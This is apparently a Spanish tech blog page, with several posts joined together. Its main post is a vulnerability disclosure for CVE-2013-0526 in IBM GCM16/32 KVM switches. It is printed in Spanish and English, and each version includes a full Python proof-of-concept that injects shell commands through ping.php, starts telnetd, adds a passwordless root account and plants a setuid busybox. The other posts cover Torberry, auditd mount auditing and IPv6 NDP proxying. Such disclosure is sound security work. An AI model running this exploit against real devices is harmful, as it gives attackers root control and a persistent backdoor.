I. Descripción del producto

Los productos IBM 1754 GCM proporcionan KVM sobre IP y una tecnología de administración por consola serie en un único aparato.

II. Información de la vulnerabilidad
Impacto: Ejecución de comandos
Explotable remotamente: si
CVE: 2013-0526
CVE Score: 8.5

III. Detalles de la vulnerabilidad

Los dispositivos GCM16 (v.1.18.0.22011) y anteriores de este switch KVM contienen un fallo de seguridad que permite a un atacante remoto autenticado ejecutar comandos con privilegios de root.
El fallo existe porque las variables de la aplicación web no están correctamente parseadas. En este caso, los parametros $count y $size del fichero ping.php permiten realizar una petición POST especialmente diseña para que inserte comandos en una función exec() de php. Esto puede ser usado de forma arbitraria para ejecutar cualquier comando en el sistema operativo del KVM.


IV. Prueba de concepto

A continuación se detalla un exploit sencillo que abrirá un servidor telnet en el KVM y creará un usuario con permisos de root sin password. Se deben cambiar las variables sessid y target, ya que están hardcodeadas.



#!/usr/bin/python

"""
This exploit for Avocent KVM switch allows to gain root access to embedded device.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target (pass: target) then do "/tmp/su - superb" to gain root
"""

from StringIO import StringIO
import pycurl
import re

sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php"

command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd ; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to device using telnet with user target and pass target, then \"/tmp/su - superb\""

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1 ; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
    c.perform()
    c.close()
except:
    print ""

content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")


V. Respuesta del fabricante
IBM sacó un nuevo firmware que corrige esta vulnerabilidad (1.20.0.22575).

VI. Timeline
2013-06-12 - IBM PSIRT notificado.
2013-06-12 - IBM asigna ID interno.
2013-07-02 - IBM confirma la vulnerabilidad.
2013-08-16 - IBM hace público patch. La vulnerabilidad se expone publicamente.

VII. Informacion externa


Este es el advisory en ingles:

Asunto: CVE-2013-0526 IBM GCM16/32 Remote command execution.

I. Product description

The IBM 1754 GCM family provides KVM over IP and serial console management technology in a single appliance.

II. Vulnerability information

Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526

III. Vulnerability details

GCM16 (v.1.18.0.22011) and older versions of this KVM switch contain a flaw that allows a remote authenticated user to execute unauthorized commands as root.
This flaw exist because webapp variables are not sanitised. In this case, parameters $count and $size from ping.php allow to create a special crafted URL to inject text to an exec() so it can be arbitrary used to execute any command on the KVM embedded linux.

IV. Proof of concept

Following is a simple exploit that lead to root access to the device, opening a telnet and creating a new user with root permission without password (sessid and target are hardcoded so it must be changed to work):



#!/usr/bin/python

"""
This exploit for Avocent KVM switch allows to gain root access to embedded device.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target (pass: target) then do "/tmp/su - superb" to gain root
"""

from StringIO import StringIO
import pycurl
import re

sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php"

command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd ; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to device using telnet with user target and pass target, then \"/tmp/su - superb\""

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1 ; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
    c.perform()
    c.close()
except:
    print ""

content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")


V. Vendor Response
IBM released a new firmware that corrects this vulnerability (1.20.0.22575)
VI. Timeline
2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.

VII. External information

Information about this vulnerability (in spanish): http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html



Ya está disponible la nueva versión de Torberry, una distribución para Raspberry Pi, cuyo propósito es convertir la Raspberry en un proxy transparente de la red anónima Tor.

A partir de esta versión se incluye un fichero de configuración, torberry.conf, donde se puede indicar como se desea que se comporte la Raspberry. Relacionado con este cambio, a partir de ahora no se descubren las topologías de red automaticamente, quedando relegado al fichero de configuración.

Con estos cambios, ahora es posible seleccionar explicitamente las configuraciones de red, siendo posible usar la eth0 como uplink cuando tenemos una configuración con un dongle USB ethernet. Antes esto se descubría automaticamente, y quedaba forzado siempre eth1 como uplink.

Estos cambios además, dan pie a una nueva funcionalidad con hostapd, que permitirá convertir la raspberry en un punto de acceso. Estoy pegandome con mi tarjeta por culpa del bridge (no me permite añadir la wlan al bridge, parece un problema común).

Además de estos cambios, esta versión incluye las actualizaciones de raspbian, como suele ser habitual.

Descarga: https://torberry.googlecode.com/files/torberry-0.30.img.xz
Proyecto: https://torberry.googlecode.com/

Parece que hoy Google está haciendo de las suyas y nos ha preparado su bromita a los usuarios de Analytics: visitas desde la sala de control de la ISS.


Pero tanto visitante canta un poco y buscando rápidamente damos con la solución (y nos damos cuenta de que es 1 de abril, Fool's Day).

Y parece que no es la única broma del día: Youtube cierra.




Cuando trabajas para un cliente que no te deja ver el código de sus programas, tienes que utilizar todos los recursos disponibles para descubrir qué es lo que está pasando.

En esta ocasión, la única pista son unos montajes de particiones nfs pero no sé ni quien los hace, ni como se hacen, la cuestión es que en ocasiones estos quedan en un estado inconsistente, el directorio donde están montados se borra y el comando df muestra unos bonitos "No such file or directory".

La solución en principio es detectar cuando se monta y desmonta, y ello implica capturar de alguna manera las syscalls. En este caso, mount y umount2. Descarto en principio usar strace ya que no conozco los procesos sospechosos y no puedo tracear todo.

Usando auditd se pueden definir reglas para capturar eventos del kernel. Como hemos dicho, la pista son unos mounts, o lo que es lo mismo, su syscall.

Vamos a definir una regla de auditd:
auditctl -a exit,always -F arch=b64 -S mount -S umount2 -k catchmount 

-a exit,always : indica que la syscall se captura al terminar, siempre, vaya bien o mal.
-F arch=b64 : capturamos syscalls de 64 bits
-S mount -S umount2 : estas son las syscalls que queremos capturar
-k catchmount : graba los eventos con una key determinada

Tenemos dos formas de ver los eventos capturados, directamente en el log, /var/log/audit/audit.log, o con ausearch:
ausearch -k catchmount
Los que tengan servidores dedicados con ESXi posiblemente sabrán del asunto. Debido a la configuración que OVH tiene desplegada en su red, es imposible que un servidor que no tenga direcciones IPv4 asignadas pueda conseguir una IPv6. Esto, aunque puede ser ilógico, tiene su explicación en que lo utilizan como mecanismo de seguridad aunque bien podrían hacerlo ligando la IP a un puerto y sería mucho más sencillo para todos. OVH guarda un misterioso silencio alrededor de este tema, y me  parece cuanto menos curioso cuando no debería ser difícil añadir esta funcionalidad. 

Ya de por sí, delegar un rango /64 a unas pocas máquinas es un autentico desperdicio. Serían unas 18.446.744.073.709.551.616 (2^64) ip's para mi solo. Y parece que es la tendencia entre los proveedores.

Por suerte, podemos utilizar las características del NDP, neighbor discovery protocol, de IPv6 para conseguir que un equipo con una IPv6 e IPv4 pueda hacer de proxy y al mismo tiempo hacer de gateway. De esta manera conseguiremos conectividad IPv6 en esta máquina.

En primer lugar, en nuestra máquina que ya tiene una IPv6, vamos añadir los siguientes parámetros al fichero /etc/sysctl.conf:

net.ipv6.conf.all.proxy_ndp = 1
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1

Una vez hecho, vamos a activarlos con sysctl -p. Ya tenemos activado el proxy ndp, ahora tenemos que autorizar los hosts, pero antes vamos a configurar la dirección ip en la máquina sin acceso:

ifconfig eth0 inet6 add 2001:41d0:X:XXXX::X/64

ó, con el comando ip:

ip -6 addr add 2001:41d0:X:XXXX::X/64 dev eth0

También vamos a indicarle que nuestra puerta de enlace es el otro host:

route -6 add default gateway 2001:41d0:X:XXXX::X

con el comando ip:

ip -6 route add via 2001:41d0:X:XXXX::X dev eth0

Si ejecutamos el comando ip, veremos que nos muestra la IP en estado tentative.

Ahora vamos a autorizar a este host para que acceda a la red. Volvemos al primer host y ejecutamos lo siguiente:

ip -6 neigh add proxy 2001:41d0:X:XXXX::X dev eth0

Listo, si ahora volvemos a la otra máquina y hacemos ping a los dns de google, deberíamos tener respuesta:

ping6 2001:4860:4860::8888 -c 2
PING 2001:4860:4860::8888(2001:4860:4860::8888) 56 data bytes
64 bytes from 2001:4860:4860::8888: icmp_seq=1 ttl=55 time=9.62 ms
64 bytes from 2001:4860:4860::8888: icmp_seq=2 ttl=55 time=9.95 ms

--- 2001:4860:4860::8888 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 9.626/9.789/9.952/0.163 ms

Esta configuración tiene el problema de que cada vez que se reinicie la máquina, hay que borrar y volver a activar la asignación de la IPv6 a traves del proxy ndp. De lo contrario, la ip se quedará en estado dadfailed.

No es mucho, pero al menos permite jugar un poco y permitir tener máquinas virtuales funcionando con IPv6.

En esta ocasión quiero presentar Torberry, una distribución Linux basada en Raspbian que convierte una Raspberry Pi en un proxy transparente conectado a la red Tor.

La idea principal detras de Torberry es poder tener una imagen de un sistema Linux que levante un proxy transparente Tor sin apenas configuración por parte del usuario. Normalmente, alguien que quiere configurar un proxy transparente con Tor tiene que preparar un script de iptables, aplicar ciertos parametros sobre el kernel de Linux y levantar Tor con una configuración especial. Torberry hace todo esto sin ninguna configuración y tan solo es necesario configurar el gateway y los dns de los clientes para empezar a navegar por la red Tor.

Torberry no es la primera distribución orientada a ser un proxy transparente Tor, también existe TorVM, para x86 y que funciona como una máquina virtual. La principal diferencia es que TorVM es una iso mínima que no permite ninguna interacción y por el contrario Torberry si habilita un servidor SSH y acceso de root. Además, parece que TorVM se abandonó en 2008, por lo que su cliente de Tor seguramente no sea actual. Torberry por contra, depende de la línea de paquetes de raspbian y tiene un sistema de paquetes actualizable.

Torberry en Google code
Descargar Torberry para Raspberry Pi